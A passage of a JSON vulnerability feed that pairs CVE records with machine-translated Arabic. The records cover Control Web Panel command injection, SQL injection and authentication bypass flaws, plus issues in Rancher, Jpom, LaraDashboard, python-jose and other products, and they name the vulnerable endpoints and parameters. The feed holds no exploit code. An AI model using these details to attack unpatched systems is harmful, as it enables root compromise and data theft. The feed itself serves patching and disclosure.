أثناء تحرير الخيوط المتوقفة. تقوم coredump_finish() بتحرير الخيوط المتوقفة عن طريق مسح ->task في مدخل core_thread الخاص بها واستدعاء wake_up_process() على كل منها. وهي تفعل ذلك دون الاحتفاظ بمرجع للمهمة ودون التواجد داخل rcu. لكن استدعاء wake_up_process(task) بدون rcu هنا ليس آمنًا. الخيط المتوقف لا يحتاج إلى هذا التنبيه للمغادرة. التنبيه الوهمي أو الاستباق (preemption) بعد عملية التخزين يكفي لكي تختفي المهمة. لذا إذا تم استباق عميل تفريغ الذاكرة (coredump client) بين التخزين و wake_up_process()، يمكن للخيط أن ينتهي ويتم تحريره في هذه الأثناء وتقوم try_to_wake_up() بأخذ pi_lock في ذاكرة محررة. احتفظ بـ rcu عبر الحلقة."},"refs":[["https://git.kernel.org/stable/c/fd0fbe84312fda2fc187428c92c50b7d03a9d24c","ref"],["https://git.kernel.org/stable/c/71146c437bae59e5280f657965dc6d006ee3989b","ref"],["https://git.kernel.org/stable/c/0fce73efee40c65ce26641c5d93942462f9e8307","ref"],["https://git.kernel.org/stable/c/16e94ed90b1b02398e044d41fd1db34828daa08e","ref"],["https://git.kernel.org/stable/c/a0f09ff4c6b93312e565cfe75d76c3a551a3ec4c","ref"],["https://git.kernel.org/stable/c/b0eca0edddf4c1dbaf6d1f6a8636b4235f5bc573","ref"],["https://git.kernel.org/stable/c/61d58591aa0188bf2463e263962256316ff8b576","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-88809","cvss":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:03:20Z","product":"SUSE Rancher","affected":[["2.15.0 – <2.15.3","2.15.3"],["2.14.0 – <2.14.7","2.14.7"],["2.13.0 – <2.13.11","2.13.11"],["2.12.0 – <2.12.15","2.12.15"],["2.11.0 – <2.11.19","2.11.19"]],"title":{"en":"Rancher meta proxy allowlist bypass leading to server-side request forgery","ar":"تجاوز قائمة السماح للوكيل الوسيط meta proxy في Rancher مما يؤدي إلى تزوير الطلبات من جهة الخادم"},"summary":{"en":"A security vulnerability exists in the SUSE Rancher Manager meta proxy endpoint (/meta/proxy). This endpoint is intended to forward requests only to destinations that appear on a configured allowlist. The allowlist decision was evaluated in a place where it could not stop a request from being forwarded, so a rejected destination was logged but the request was still handed to the proxy's transport. This affects SUSE Rancher 2.15.0 up to 2.15.3, 2.14.0 up to 2.14.7, 2.13.0 up to 2.13.11, 2.12.0 up to 2.12.15, 2.11.0 up to 2.11.19 and potentially older EOL versions.","ar":"توجد ثغرة أمنية في نقطة نهاية الوكيل الوسيط meta proxy في SUSE Rancher Manager ( eta roxy). تهدف نقطة النهاية هذه إلى إعادة توجيه الطلبات فقط إلى الوجهات التي تظهر في قائمة السماح المُكوّنة. تم تقييم قرار قائمة السماح في مكان تعذّر فيه إيقاف إعادة توجيه الطلب، لذلك تم تسجيل الوجهة المرفوضة ولكن تم تسليم الطلب مع ذلك إلى آلية نقل الوكيل الوسيط. يؤثر هذا على SUSE Rancher من الإصدار 2.15.0 حتى 2.15.3، ومن 2.14.0 حتى 2.14.7، ومن 2.13.0 حتى 2.13.11، ومن 2.12.0 حتى 2.12.15، ومن 2.11.0 حتى 2.11.19، ويحتمل أن يؤثر على الإصدارات القديمة التي انتهى دعمها."},"refs":[["https://github.com/rancher/rancher/security/advisories/GHSA-f9gf-wh3x-jx3v","advisory"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"suse-rancher"},{"id":"CVE-2026-104080","cvss":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:22:17Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.30","1.30"]],"title":{"en":"Control Web Panel (CWP) < 1.30 OS Command Injection via valid_token","ar":"Control Web Panel (CWP) < 1.30: حقن أوامر نظام التشغيل عبر valid_token"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.30 contains an OS command injection vulnerability in the loopback API /valid_token/ route that allows unauthenticated attackers to execute arbitrary commands as root by injecting shell metacharacters into the unvalidated 'user' parameter. Attackers can send a crafted request to the /valid_token/ route, which passes the parameter unescaped into a shell_exec() call.","ar":"يحتوي Control Web Panel (CWP) الأقدم من webpanel_version 1.30 على ثغرة حقن أوامر نظام التشغيل في مسار واجهة برمجة التطبيقات المحلية /valid_token/ والتي تتيح للمهاجمين دون مصادقة تنفيذ شيفرة عشوائية بصلاحيات root عن طريق حقن رموز الأوامر ضمن معامل 'user' غير المتحقق منه. يمكن للمهاجمين إرسال طلب مصمم إلى مسار /valid_token/، والذي تمرر المعامل دون تنقيه إلى استدعاء shell_exec()."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-valid-token","advisory"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0123,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-77880","cvss":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:21:08Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.16","1.16"]],"title":{"en":"Control Web Panel (CWP) < 1.16 OS Command Injection via /newpass/","ar":"Control Web Panel (CWP) < 1.16: حقن أوامر نظام التشغيل عبر /newpass/"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.16 contains an OS command injection vulnerability in the loopback API password change route /newpass/, which runs as root. An attacker can inject arbitrary OS commands by manipulating the POST 'user' parameter that is passed unescaped into a shell command, achieving remote code execution with root privileges.","ar":"يحتوي Control Web Panel (CWP) الأقدم من webpanel_version 1.16 على ثغرة حقن أوامر نظام التشغيل في مسار تغيير كلمة المرور لواجهة برمجة التطبيقات المحلية /newpass/، والذي يتم تشغيله بصلاحيات root. يمكن للمهاجم حقن أوامر نظام تشغيل عشوائية عبر التلاعب بمعامل POST المسمى 'user' والذي يتم تمريره دون تنقية إلى أمر شل، مما يحقق تنفيذ أوامر عن بُعد بصلاحيات root."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-newpass","advisory"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0078,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-77879","cvss":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:20:40Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.16","1.16"]],"title":{"en":"Control Web Panel (CWP) < 1.16 SQL Injection via access_token() API","ar":"Control Web Panel (CWP) < 1.16: حقن SQL عبر واجهة برمجة التطبيقات access_token()"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.16 contains a SQL injection vulnerability in the loopback API authentication gate access_token(), which connects to MySQL as root and interpolates attacker-controlled values directly into its query. Attackers can inject SQL through the authorization_code and client_id parameters to read arbitrary database contents and forge the authentication result, bypassing the API's authentication check.","ar":"يحتوي Control Web Panel (CWP) الأقدم من webpanel_version 1.16 على ثغرة حقن SQL في بوابة مصادقة واجهة برمجة التطبيقات المحلية access_token()، والتي تتصل بقاعدة بيانات MySQL بصلاحيات root وتقوم بإدراج القيم المتحكم بها من قبل المهاجم مباشرة في استعلامها. يمكن للمهاجمين حقن SQL من خلال معاملي authorization_code و client_id لقراءة محتويات قاعدة بيانات عشوائية وتزوير نتيجة المصادقة، مما يؤدي إلى تجاوز فحص المصادقة الخاص واجهة برمجة التطبيقات."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-sql-injection-via-access-token-api","advisory"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-77878","cvss":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:19:59Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.30","1.30"],["0 – <1.29","1.29"]],"title":{"en":"Control Web Panel (CWP) < 1.30 OS Command Injection via restoredatabase API","ar":"Control Web Panel (CWP) < 1.30: حقن أوامر نظام التشغيل عبر واجهة برمجة التطبيقات restoredatabase"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.30 contains an OS command injection vulnerability in the loopback API database restore route /v1/restoredatabase/, where the restoreDBBackup() handler passes an attacker-controlled file path from the POST body into a shell command without proper escaping. An attacker able to reach the route can inject arbitrary OS commands that execute as root.","ar":"يحتوي Control Web Panel (CWP) الأقدم من webpanel_version 1.30 على ثغرة حقن أوامر نظام التشغيل في مسار استعادة قاعدة بيانات واجهة برمجة التطبيقات المحلية /v1/restoredatabase/، حيث يقوم معالج restoreDBBackup() تمرير مسار ملف متحكم به من قبل المهاجم من جسم طلب POST إلى أمر شل دون تنقية مناسبة. يمكن للمهاجم القادر على الوصول إلى المسار حقن أوامر نظام تشغيل عشوائية يتم تنفيذها بصلاحيات root."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-restoredatabase-api","advisory"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0084,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-77877","cvss":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:19:26Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.30","1.30"],["0 – <1.29","1.29"]],"title":{"en":"Control Web Panel (CWP) < 1.30 Unauthenticated Loopback API Root Access","ar":"Control Web Panel (CWP) < 1.30: الوصول إلى الجذر عبر واجهة برمجة التطبيقات المحلية دون مصادقة"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.30 contains a missing authentication vulnerability that allows attackers able to reach the loopback API service to invoke root-privileged API routes without presenting an access token. Attackers can access endpoints such as /v1/restoredatabase/, /generaluser/, /last_access/, /valid_user/, /valid_token/, and /user_panel_dashboard/ to perform unauthorized actions with root privileges.","ar":"يحتوي Control Web Panel (CWP) الأقدم من webpanel_version 1.30 على ثغرة غياب المصادقة التي تتيح للمهاجمين القادرين على الوصول إلى خدمة واجهة برمجة التطبيقات المحلية استدعاء مسارات واجهة برمجة التطبيقات ذات صلاحيات root دون تقديم رمز وصول. يمكن للمهاجمين الوصول إلى نقاط النهاية مثل /v1/restoredatabase/ و /generaluser/ و /last_access/ و /valid_user/ و /valid_token/ و /user_panel_dashboard/ لإجراء عمليات غير مصرح بها بصلاحيات root."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-unauthenticated-loopback-api-root-access","advisory"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-77876","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:18:18Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.16","1.16"]],"title":{"en":"Control Web Panel (CWP) < 1.16 OS Command Injection via protected_directory","ar":"Control Web Panel (CWP) < 1.16: حقن أوامر نظام التشغيل عبر protected_directory"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.16 contains an OS command injection vulnerability in the protected_directory user panel module that allows attackers to execute arbitrary commands by submitting unescaped input through the file POST parameter in the acc=deletedp action. Attackers can exploit this flaw, which passes attacker-controlled input directly into a shell_exec call, to achieve code execution in the user panel context.","ar":"يحتوي Control Web Panel (CWP) الأقدم من webpanel_version 1.16 على ثغرة حقن أوامر نظام التشغيل في وحدة لوحة مستخدم protected_directory والتي تتيح للمهاجمين تنفيذ أوامر عشوائية عن طريق إرسال مدخلات غير منقاة عبر معامل الملف POST في إجراء acc=deletedp. يمكن للمهاجمين استغلال هذا الخلل، الذي يمرر المدخلات المتحكم بها من قبل المهاجم مباشرة إلى استدعاء shell_exec، لتحقيق تنفيذ الشيفرة في سياق لوحة المستخدم."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-os-command-injection-via-protected-directory","advisory"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0216,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-73695","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-98","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:37Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.16","1.16"]],"title":{"en":"Control Web Panel (CWP) < 1.16 Path Traversal via services/users/index.php","ar":"ثغرة تجاوز المسار في Control Web Panel (CWP) < 1.16 عبر الملف services/users/index.php"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.16 contains a path traversal vulnerability in services/users/index.php, where an attacker-supplied module name is concatenated directly into an include path with no allowlist, basename(), or traversal sanitization. An attacker can supply directory traversal sequences in the module name to include arbitrary local .php files, resulting in local PHP file inclusion.","ar":"تحتوي Control Web Panel (CWP) قبل إصدار webpanel_version 1.16 على ثغرة تجاوز المسار في services/users/index.php، حيث يتم دمج اسم الوحدة المقدم من المهاجم مباشرةً في مسار التضمين دون قائمة سماح، أو دالة basename()، أو تعقيم لتجاوز المسار. يمكن للمهاجم تقديم تسلسلات تجاوز المسار في اسم الوحدة لتضمين ملفات .php محلية عشوائية، مما يؤدي إلى تضمين ملفات PHP المحلية."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-path-traversal-via-services-users-index-php","advisory"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-path-traversal-lfi-via-module-parameter","ref"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0066,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-73696","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-698","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:37Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.12","1.12"]],"title":{"en":"Control Web Panel (CWP) < 1.12 Authentication Bypass via Execution After Redirect","ar":"ثغرة تجاوز المصادقة في Control Web Panel (CWP) < 1.12 عبر التنفيذ بعد إعادة التوجيه"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.12 contains an execution after redirect vulnerability in the user panel authentication flow, where CWPUserIndex's unauthenticatedFlow() calls toLoginWithIntendedUri() which emits a redirect header without exit(), allowing PHP execution to continue and the module dispatcher include to run without authentication. Attackers with nothing more than a valid hosting username can bypass authentication to reach user-panel module code paths, enabling a pre-authentication chain to root access.","ar":"تحتوي Control Web Panel (CWP) قبل إصدار webpanel_version 1.12 على ثغرة تنفيذ بعد إعادة التوجيه في تدفق مصادقة لوحة المستخدم، حيث تستدعي دالة unauthenticatedFlow() في CWPUserIndex دالة toLoginWithIntendedUri() التي تُصدر رأس إعادة توجيه دون استخدام دالة exit()، مما يسمح باستمرار تنفيذ PHP وتشغيل مُرسِل الوحدات النمطية دون مصادقة. يمكن للمهاجمين الذين يمتلكون اسم مستخدم استضافة صالحًا فقط تجاوز المصادقة للوصول إلى مسارات شيفرة وحدة لوحة المستخدم، مما يتيح سلسلة ما قبل المصادقة للوصول بصلاحيات الجذر (root)."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-authentication-bypass-via-execution-after-redirect","advisory"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-execution-after-redirect-in-cwpuserindex","advisory"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-73697","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:37Z","product":"Control Web Panel Control Web Panel","affected":[["0 – <1.16","1.16"]],"title":{"en":"Control Web Panel (CWP) < 1.16 File Write and Command Injection","ar":"ثغرة كتابة الملفات وحقن الأوامر في Control Web Panel (CWP) < 1.16"},"summary":{"en":"Control Web Panel (CWP) before webpanel_version 1.16 contains an arbitrary file write and OS command injection vulnerability in the phpini_editor user panel module. The acc=update action writes attacker-controlled content to an attacker-supplied path via file_put_contents with no path confinement, and the acc=addlabelphpiniadv action passes unsanitized attacker input into shell_exec without escaping. An attacker with access to the module can write arbitrary files and execute arbitrary OS commands, resulting in remote code execution.","ar":"تحتوي Control Web Panel (CWP) قبل إصدار webpanel_version 1.16 على ثغرة كتابة ملفات عشوائية وحقن أوامر نظام التشغيل في وحدة لوحة المستخدم phpini_editor. يؤدي إجراء acc=update إلى كتابة محتوى يتحكم فيه المهاجم إلى مسار يقدمه المهاجم عبر دالة file_put_contents دون تقييد المسار، بينما تمرر إجراءات acc=addlabelphpiniadv مدخلات المهاجم غير المعقمة إلى دالة shell_exec دون الهروب. يمكن للمهاجم الذي يمتلك حق الوصول إلى الوحدة كتابة ملفات عشوائية وتنفيذ أوامر نظام تشغيل عشوائية، مما يؤدي إلى تنفيذ أوامر عن بُعد."},"refs":[["https://control-webpanel.com/changelog","patch"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-file-write-and-command-injection","advisory"],["https://www.vulncheck.com/advisories/control-web-panel-cwp-file-write-and-command-injection-via-phpini-editor","advisory"],["https://www.vulncheck.com/blog/control-web-panel-pre-auth-module-dispatch-rce","ref"]],"epss":0.0163,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"control-web-panel-control-web-panel"},{"id":"CVE-2026-120460","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:30Z","product":"dromara Jpom","affected":[["0 – 2.11.12",null]],"title":{"en":"Jpom through 2.11.12 Cross-Workspace Authorization Bypass via Docker Controllers","ar":"ثغرة تجاوز تفويض مساحات العمل المشتركة في Jpom حتى الإصدار 2.11.12 عبر وحدات تحكم Docker"},"summary":{"en":"Jpom through 2.11.12 contains a cross-workspace authorization bypass vulnerability that allows authenticated users to manage other workspaces' Docker hosts by supplying foreign Docker asset ids. Attackers with Docker permission in any workspace can control containers, images, volumes and networks, including creating privileged containers with host bind mounts.","ar":"تحتوي Jpom حتى الإصدار 2.11.12 على ثغرة تجاوز تفويض مساحات العمل المشتركة التي تسمح للمستخدمين المصدق لهم بإدارة مضيفي Docker لمساحات عمل أخرى عبر توفير معرفات أصول Docker أجنبية. يمكن للمهاجمين الحاصلين على إذن Docker في أي مساحة عمل التحكم في الحاويات والصور وحدات التخزين والشبكات، بما في ذلك إنشاء حاويات مميزة مع عمليات ربط مضيف."},"refs":[["https://github.com/dromara/Jpom/commit/ff09fe8095a792cea9c4b8babd93a333655d0a28","patch"],["https://www.vulncheck.com/advisories/jpom-through-2.11.12-cross-workspace-authorization-bypass-via-docker-controllers","advisory"],["https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/controller/docker/DockerContainerController.java#L48-L51","ref"],["https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/controller/docker/DockerImagesController.java#L48-L51","ref"],["https://github.com/dromara/Jpom/issues/119","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dromara-jpom"},{"id":"CVE-2026-120461","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:30Z","product":"dromara Jpom","affected":[["0 – 2.11.12",null]],"title":{"en":"Jpom through 2.11.12 Cross-Workspace Authorization Bypass via /node/ssh_command/batch","ar":"ثغرة تجاوز تفويض مساحات العمل المشتركة في Jpom حتى الإصدار 2.11.12 عبر المسار /node/ssh_command/batch"},"summary":{"en":"Jpom through 2.11.12 contains a cross-workspace authorization bypass in POST /node/ssh_command/batch that resolves command templates and SSH nodes by ID without workspace filtering. Authenticated users with SSH command execute permission in one workspace can supply foreign template and node IDs to run commands on other workspaces' SSH hosts using their stored credentials.","ar":"تحتوي Jpom حتى الإصدار 2.11.12 على ثغرة تجاوز تفويض مساحات العمل المشتركة في طلب POST الموجه إلى /node/ssh_command/batch والتي تقوم بحل قوالب الأوامر ومحطات SSH حسب المعرف دون تصفية مساحة العمل. يمكن للمستخدمين المصدق لهم والحاصلين على إذن تنفيذ أوامر SSH في مساحة عمل واحدة توفير معرفات قوالب ومحطات أجنبية لتشغيل الأوامر على مضيفي SSH التابعين لمساحات عمل أخرى باستخدام بيانات الاعتماد المخزنة الخاصة بهم."},"refs":[["https://github.com/dromara/Jpom/commit/ff09fe8095a792cea9c4b8babd93a333655d0a28","patch"],["https://www.vulncheck.com/advisories/jpom-through-2.11.12-cross-workspace-authorization-bypass-via-node-ssh-command-batch","advisory"],["https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/controller/ssh/CommandInfoController.java#L176-L184","ref"],["https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/service/node/ssh/SshCommandService.java#L167-L169","ref"],["https://github.com/dromara/Jpom/issues/120","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dromara-jpom"},{"id":"CVE-2026-120487","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:30Z","product":"LaraDashboard LaraDashboard","affected":[["0 – <1.4.5","1.4.5"]],"title":{"en":"LaraDashboard before 1.4.5 Incorrect Authorization via SettingPolicy Core Upgrades","ar":"ثغرة تفويض غير صحيحة في LaraDashboard قبل الإصدار 1.4.5 عبر ترقيات نواة SettingPolicy"},"summary":{"en":"LaraDashboard before 1.4.5 contains an incorrect authorization vulnerability in SettingPolicy::manageCoreUpgrades() that allows non-Superadmin administrators with settings.edit to access Superadmin-only core-upgrade operations. Attackers can use the /admin/settings/core-upgrades backup, download, restore and upgrade actions to obtain database dumps containing password hashes and restore or upgrade the site.","ar":"تحتوي LaraDashboard قبل الإصدار 1.4.5 على ثغرة تفويض غير صحيحة في SettingPolicy::manageCoreUpgrades() والتي تسمح للمسؤولين غير المشرفين (Non-Superadmin) والذين يمتلكون صلاحية settings.edit بالوصول إلى عمليات ترقية النواة المخصصة للمشرفين الرئيسيين (Superadmin) فقط. يمكن للمهاجمين استخدام إجراءات النسخ الاحتياطي، والتنزيل، والاستعادة، والترقية في المسار /admin/settings/core-upgrades للحصول على تفريغ قاعدة البيانات الذي يحتوي على تجزئات كلمات المرور واستعادة الموقع أو ترقيته."},"refs":[["https://github.com/laradashboard/laradashboard/commit/fdb77b898e6bb0a0df82bbf979c2bfba38a81532","patch"],["https://github.com/laradashboard/laradashboard/security/advisories/GHSA-rjjq-v76w-8jh4","advisory"],["https://www.vulncheck.com/advisories/laradashboard-before-1.4.5-incorrect-authorization-via-settingpolicy-core-upgrades","advisory"],["https://github.com/laradashboard/laradashboard/blob/v1.4.2/app/Policies/SettingPolicy.php#L47-L50","ref"],["https://github.com/laradashboard/laradashboard/releases/tag/v1.4.5","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"laradashboard"},{"id":"CVE-2026-120459","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-347","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T15:17:29Z","product":"mpdavis python-jose","affected":[["0 – 3.5.0",null]],"title":{"en":"python-jose through 3.5.0 Authentication Bypass via Empty HMAC Key","ar":"ثغرة تجاوز المصادقة في python-jose حتى الإصدار 3.5.0 عبر مفتاح HMAC فارغ"},"summary":{"en":"python-jose through 3.5.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge JWTs because HMACKey and CryptographyHMACKey accept zero-length HMAC secrets. When an application's HS256/HS384/HS512 verification key resolves to empty, such as an oct JWK with empty k, attackers can forge tokens with arbitrary claims that jwt.decode accepts.","ar":"تحتوي python-jose حتى الإصدار 3.5.0 على ثغرة تجاوز مصادقة تسمح للمهاجمين دون مصادقة بتزوير رموز JWT لأن دالتي HMACKey و CryptographyHMACKey تقبلان أسرار HMAC بطول صفري. عندما يتم حل مفتاح التحقق HS256/HS384/HS512 الخاص بالتطبيق إلى فارغ، مثل مفتاح oct JWK مع معلمة k فارغة، يمكن للمهاجمين تزوير رموز بمطالبات عشوائية تقبلها دالة jwt.decode."},"refs":[["https://www.vulncheck.com/advisories/python-jose-through-3.5.0-authentication-bypass-via-empty-hmac-key","advisory"],["https://github.com/mpdavis/python-jose/blob/3.5.0/jose/backends/cryptography_backend.py","ref"],["https://github.com/mpdavis/python-jose/blob/3.5.0/jose/backends/native.py","ref"],["https://github.com/mpdavis/python-jose/issues/398","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mpdavis-python-jose"},{"id":"CVE-2026-120445","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:27Z","product":"madong-code madong-admin-saas","affected":[["0 – 5.1.4",null]],"title":{"en":"madong-admin-saas through 5.1.4 Incorrect Authorization via /platformapi AccessTokenMiddleware","ar":"ثغرة تفويض غير صحيحة في madong-admin-saas حتى الإصدار 5.1.4 عبر /platformapi AccessTokenMiddleware"},"summary":{"en":"madong-admin-saas through 5.1.4 contains an incorrect authorization vulnerability in AccessTokenMiddleware that allows authenticated tenant users to access the platform management API in multi-tenant mode. Attackers can reuse a tenant login JWT against /platformapi controllers to create platform administrator accounts, read tenant database settings, and take control of every tenant.","ar":"تحتوي madong-admin-saas حتى الإصدار 5.1.4 على ثغرة تفويض غير صحيحة في AccessTokenMiddleware والتي تسمح لمستخدمي المستأجرين المصدق لهم بالوصول إلى واجهة برمجة تطبيقات إدارة المنصة في وضع المستأجرين المتعددين. يمكن للمهاجمين إعادة استخدام رمز تسجيل دخول المستأجر JWT ضد وحدات تحكم /platformapi لإنشاء حسابات مسؤول المنصة، وقراءة إعدادات قاعدة بيانات المستأجر، والسيطرة على كل 